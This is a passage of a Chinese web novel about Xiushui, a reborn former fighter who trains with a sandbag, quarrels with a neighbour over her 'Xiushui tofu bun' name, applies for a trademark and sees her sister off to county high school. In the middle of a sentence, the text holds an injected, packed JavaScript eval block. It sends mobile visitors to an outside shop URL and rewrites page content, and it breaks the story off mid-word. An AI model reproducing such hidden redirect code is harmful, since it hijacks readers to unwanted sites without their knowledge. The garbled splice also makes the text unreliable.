吃完了晚饭,秀竹就缠着秀水,要修习武功。秀水也正好想把以前的拳击和散打都捡起来。世道凶险,她得多练练,有了功夫傍身,出行才能无虞。 她找了条布袋子,指使秀竹去挖些干净河沙,装进袋子里。然后两人搭手,把沙袋吊在自家旁边的一棵大树下。秀水先试了试感觉,招式还没生僻,很快就打得虎虎生风,把一旁的秀竹看得目瞪口呆。 “这……这么强吗?姐我看你打拳都有残影了……” 秀水却略觉遗憾。虽然这具身体还算有力气,但跟职业运动员相比,力道和速度都很一般。秀水对其中的差距再清楚不过,毕竟,上辈子她可是被称为“先天力量圣体”的天赋型选手,巅峰时期,一拳能干翻一头牛,让王大刀疤这个老把式都又惊讶又羡慕。 上一世,她因为要在武馆蹭吃蹭住,才跟着学武术、学散打,后来又学拳击。但后来,她却发自内心地喜欢上了格斗。在一场又一场的综合格斗赛中,她一拳一拳地把曾经那个自卑的自己、迷茫的自己、恐惧的自己和懦弱的自己给打败了,活下来的女人变得强悍又自信。哪怕后来面对病痛折磨、面对亲人反目,她也只有遗憾,却从来不曾害怕过。 现在,她也要用双拳来保护自己、保护家人了。她会凶狠地打出每一拳,击碎既定的命运,打破傲慢与偏见,击败压迫与不公,赢得人生的每一场胜利,就跟上辈子一样。 14. 第 14 章 刘瑞英为两双破鞋子怄了几天气,想起来就眼泪涟涟。如今钱退回来了,女儿又给她买了新凉鞋,她的郁闷之情便一扫而空。这次也没再一味心疼钱,很高兴地试穿了新鞋。 水红色半透明的硬塑料凉鞋,穿着又合脚又凉快。刘瑞英两年没穿过凉鞋了,舍不得花钱买。喻庆山倒是有一双,不过那双鞋子已经打了五处补丁。这回有了新鞋,两口子穿着左看右看,满意得不得了。 第二天的早饭时间,刘瑞英破天荒地煮了咸鸭蛋。家里养了两只鸭子,下的蛋向来是要腌好拿去卖,或送去娘家孝敬父母的。因为送鞋子遭父母埋怨,刘瑞英也有些灰心了,对娘家再孝顺又有什么用?最终心疼自己的还是家里人。凭什么好东西都舍不得自家吃? 为防秀水说嘴,她还一煮就是四个,全家每人一个。剥开咸鸭蛋,里面的蛋黄出了油,配上稀饭和煎豆渣饼,再好吃也没有。 转眼八月将尽,各家地里的黄豆陆续熟了。秀水的包子事业看来可以一直做下去,自家种的那点黄豆是远远不够的。意识到这一点后,喻庆山和刘瑞英跟村里相熟的乡邻都打了招呼,等黄豆打下来,都卖给他们家。 黄豆这种作物,附近的粮站不收购,大家平时都是拿到豆腐作坊换豆腐吃,如今既然能换些钱,自然都是愿意的。只是这么一来,好多人都晓得喻家在蒸包子卖了。——难怪他家一天到晚香扑扑的,那香味,闻着馋死个人了。 便有些风言风语传出来,说喻家靠包子挣了多少多少钱。有那眼红的人便也买了豆腐,悄悄在家自己做。谁晓得豆腐包子听起来简单,真上手却根本不是那回事。豆腐焯水到什么程度,调味料怎么放才能既压住豆腥、又不夺豆腐的鲜味,那都是有讲究的。况且用老酵子发面,也不是人人都能发得起来的。就连包子上的褶儿,他们都捏得没有秀水家的好看,有自知之明的人便都歇了心。 有一天刘瑞英正在家搓麻绳,邻居刘婶子悄悄过来,告诉她一个消息。刘婶子没少吃刘瑞英送的豆渣,两家一直处得亲密。据她说,杨定桂也做豆腐包子去卖了,她早上亲眼看见的,自行车后面载个大箱子,箱子上还歪歪扭扭写了几个字:秀水豆腐包。 刘瑞英一听就气炸了。他们家起黑夜爬三更,好不容易把豆腐包生意做起来了,这个杨不死的就来抢生意了。刘瑞英跑去杨家,偏他家没人。刘瑞英只好回来了,坐在家里左思右想,越想越气。 自从秀水跟杨定桂干过两架以后,两家人始终不对付。刘瑞英路上碰到杨定桂都不讲话。杨定桂也在背后摇唇鼓舌,说了许多她家秀水的坏话。以往她都忍着,这回非得一并算个总账不可。 好容易等到傍晚,总算看到杨定桂骑车从门前路过,车后面果然有个箱子,还用件旧衣服盖着。刘瑞英忙几步抢上前,大声问:“杨定桂,你去哪里忙了的?” 杨定桂眼神有些躲闪,“去街上卖鸡蛋了。” 刘瑞英上前掀起箱子上的衣服,上面的字露了出来,果然写着“秀水豆腐包”几个字。 “你卖豆腐包我不怪你,”刘瑞英气愤地指着字说:“可你凭啥写我秀水的名字?” 杨定桂便把车停了,露出她一贯的蛮横,“我怎么用你们家名字了?未必只有你姑娘叫秀水!” “你说得稀奇!全红英大队还找得出第二个叫秀水的人么?”刘瑞英高声喊:“况且就你那手艺,蒸的包子拿出去不是败坏我招牌么?” 两个人在路上大吵起来,立刻吸引了村民们围观。大家纷纷劝解,这回却都是指责杨定桂的。 “人家姑娘叫秀水,才卖秀水豆腐包,你看你又没姑娘,写什么秀水豆腐包?” “看人家挣钱眼红了,也不能这样搞,总有个先来后到!” 杨定桂理屈,只好闭了嘴,默默推车回家,任由刘瑞英在后面骂了半天。晚上等秀水回了家,刘瑞英气还没平,边把饭菜端上桌,边愤愤地讲了这事。 秀水听了也是一怔,这倒提醒了她,得给自家秀水豆腐包注册一个商标了。 第二天卖包子的中途,她便又到工商局去了一趟,朝人打听怎么才能注册商标。没想到连问几人都说不知道。九十年代大家的品牌意识还都非常薄弱,像怀安县这样的小城市,工商局一年上头也受理不了两桩商标注册,所以这些人都不清楚。 秀水站在走廊里,正疑心自己搞错了部门,忽然看到上次投诉时接待她的那个人。那人竟还记得她,见了她便问:“你又来了?这回是想投诉谁?” “来办别的事,”秀水听人叫他老丁,便道:“丁科长,我投诉的案子办理得怎么样了?” 她本是不抱希望的,谁知老丁说:“我去问过了,怎么他们说你动手打人?” “开什么玩笑!”秀水扬眉反驳,“他们开店的可是有三个人!您看我打得过他们吗?” 老丁打量着她,从衣着上看,秀水肯定是住在附近的农村人,但她身上又全无农村人惯有的瑟缩,说话做事大大方方的,又自信又胆大。 但无论她有天大的胆儿,一个瘦瘦高高的小姑娘也不可能打翻两个大男人啊。 “人家说你打人了,还讹了他们几百块钱。”老丁说。 秀水嗤笑,说话像打机关枪:“我讹他?这话您信吗?吞进嘴里的钱他还肯吐出来?向来只有他们蒙人的,几曾见过他们被人讹?五大三粗的几个人,竟然在您面前扮可怜,不觉得搞笑吗?不是,您不会真被骗了吧……” 老丁其实也是这么认为的。那家店他有印象,以前也有几个人打电话来投诉过。这些开店的老板都狡猾得很,去检查时,货架上摆的都是真货,质量没问题;等人走了,他们再把水货摆出来。而且这些人也看人下菜碟,城里精明的主妇们来买东西,他们就给好东西。那些看着老实的人和乡下人来买东西,付钱的时候都能把货给调换了。其实就是笃定别人买了水货也不敢来闹事罢了。 “我已经处罚过了,”老丁说:“你们买东西时也要注意擦亮眼睛。” 他说着转身要走,秀水见他还算认真负责,忙又叫住道:“对了丁科长,您知道在哪儿办理商标注册吗?” 老丁还真知道,他带秀水去了一间办公室,把她介绍给一位刘科长。刘科长听她说了来意,瞪大眼睛打量她,“你?注册商标?注册那个干嘛?” 秀水又颇费了一番口舌,才让刘科长相信,她真是来注册商标的。刘科长虽然分管这个,但自己也不是很熟悉相关条例,临时找了本册子,把需要准备什么材料念给秀水听。秀水找了支笔,把他说的一一记了下来。 晚上回家后,她电视也不看了,独自在房间写写画画。秀竹好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722576|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇地过去瞅了一眼,发现她姐在纸上画了好多图案。 “姐,你干啥呢?” “设计商标图案,”秀水抬头,拿起几张纸,“看看有没有你喜欢的图案?挑一个做咱们豆腐包的招牌!” 这可是很重要的事情,秀竹忙认真看了两遍,指着其中一张说:“这个好看!又简洁,又很清晰明了!” 那张纸上,上面的图案是“秀水”两个字变形组成了一个圆圈,下面写着“秀水豆腐包”五个字。秀水也最喜欢这个设计,便伸出大拇指夸妹子:“有眼光!” 秀竹开心地笑了,说:“姐,等这个招牌定下来,我给你画到箱子上去!” 连着准备了好几天,终于把需要的材料备齐了,秀水又拿着去找刘科长,交了三百块钱,便算是初步受理了。接下来还要审查材料、进行公告,整个过程繁琐又漫长。秀水并不着急,不就是需要时间吗?她这么年轻,有的是时间。 忽忽便到了八月底,刘瑞英和喻庆山开始给秀竹收拾行装,准备送她去县一中读书了。 自从秀竹拿到录取通知书,村民们便有艳羡的,也有说酸话怪话的。连妯娌蒋士芳都过来问,为什么不让孩子读县师范。在农村人眼里,县师范就是极好的出路了。读了高中,万一考不上大学,岂不是白读了? 河边洗衣服的队伍中也有人笑话,喻庆山两口子不清白,一个女孩子,花那些钱读书有啥用?到时候还不是别人家的人? 刘瑞英也听到这些风言风语,到河边清洗衣服时,便故意大声说:“不是我夸孩子,我们秀竹从小就聪明,回回考试得第一。她考上了好学校,我难道不让她读?做人爹妈可不是这么做的。现在是新社会,男女都一样,她想读多久都成。等她以后上了大学,我还指望她给我养老呢……” 如今村里人对刘瑞英也客气起来了,毕竟还指望把自家黄豆卖给她。听了她这话,也没人当面反驳,反而有些跟她相好的人夸她命好,大女儿能干,小女儿聪明,个个都是好样的。哪怕都是些面子话,刘瑞英听着也开心。 到了八月三十,大清早喻庆山就骑着自行车,后座一侧挂着被窝卷和行李,喻秀竹侧身坐在另一边,父女俩一起去县一中报道。 一中校园里,新生和家长络绎不绝穿行在宿舍和教学楼之间,一个个都喜气洋洋的。喻庆山和女儿报了名,把行李送上宿舍楼。这届高一的孩子都住五楼,也就是顶楼。喻庆山一进去就看到寝室里还有好几位家长,都在给孩子铺床。 家长们都相□□头微笑,算是打过招呼。喻庆山和女儿搭手铺床的间隙,悄悄打量着别的孩子和家长,看样子都是城关人。来之前刘瑞英专门炒了花生米、煮了咸鸭蛋,都用玻璃瓶封装着,他把瓶子从包里拿出来放好,下楼时又塞给秀竹五十块钱,小声嘱咐:“住集体宿舍,自己的钱要放好。该买什么就买什么,不要舍不得钱。没钱了就找家里拿……” 罗罗嗦嗦嘱咐了一大通,才骑着车回家。独自一人在路上时,喻庆山想到别人家孩子穿的衣服都颜色鲜亮、款式入时,只有他的秀竹,上身那件短袖白衬衣是姐姐穿过的,下面穿条自家做的棉布裤子,小脸晒得黑黑的,一看就知道是农村孩子。 真不知道秀竹会不会跟秀水早先那样,在外面也被人欺负。他越想越怆然,险些滴下泪来。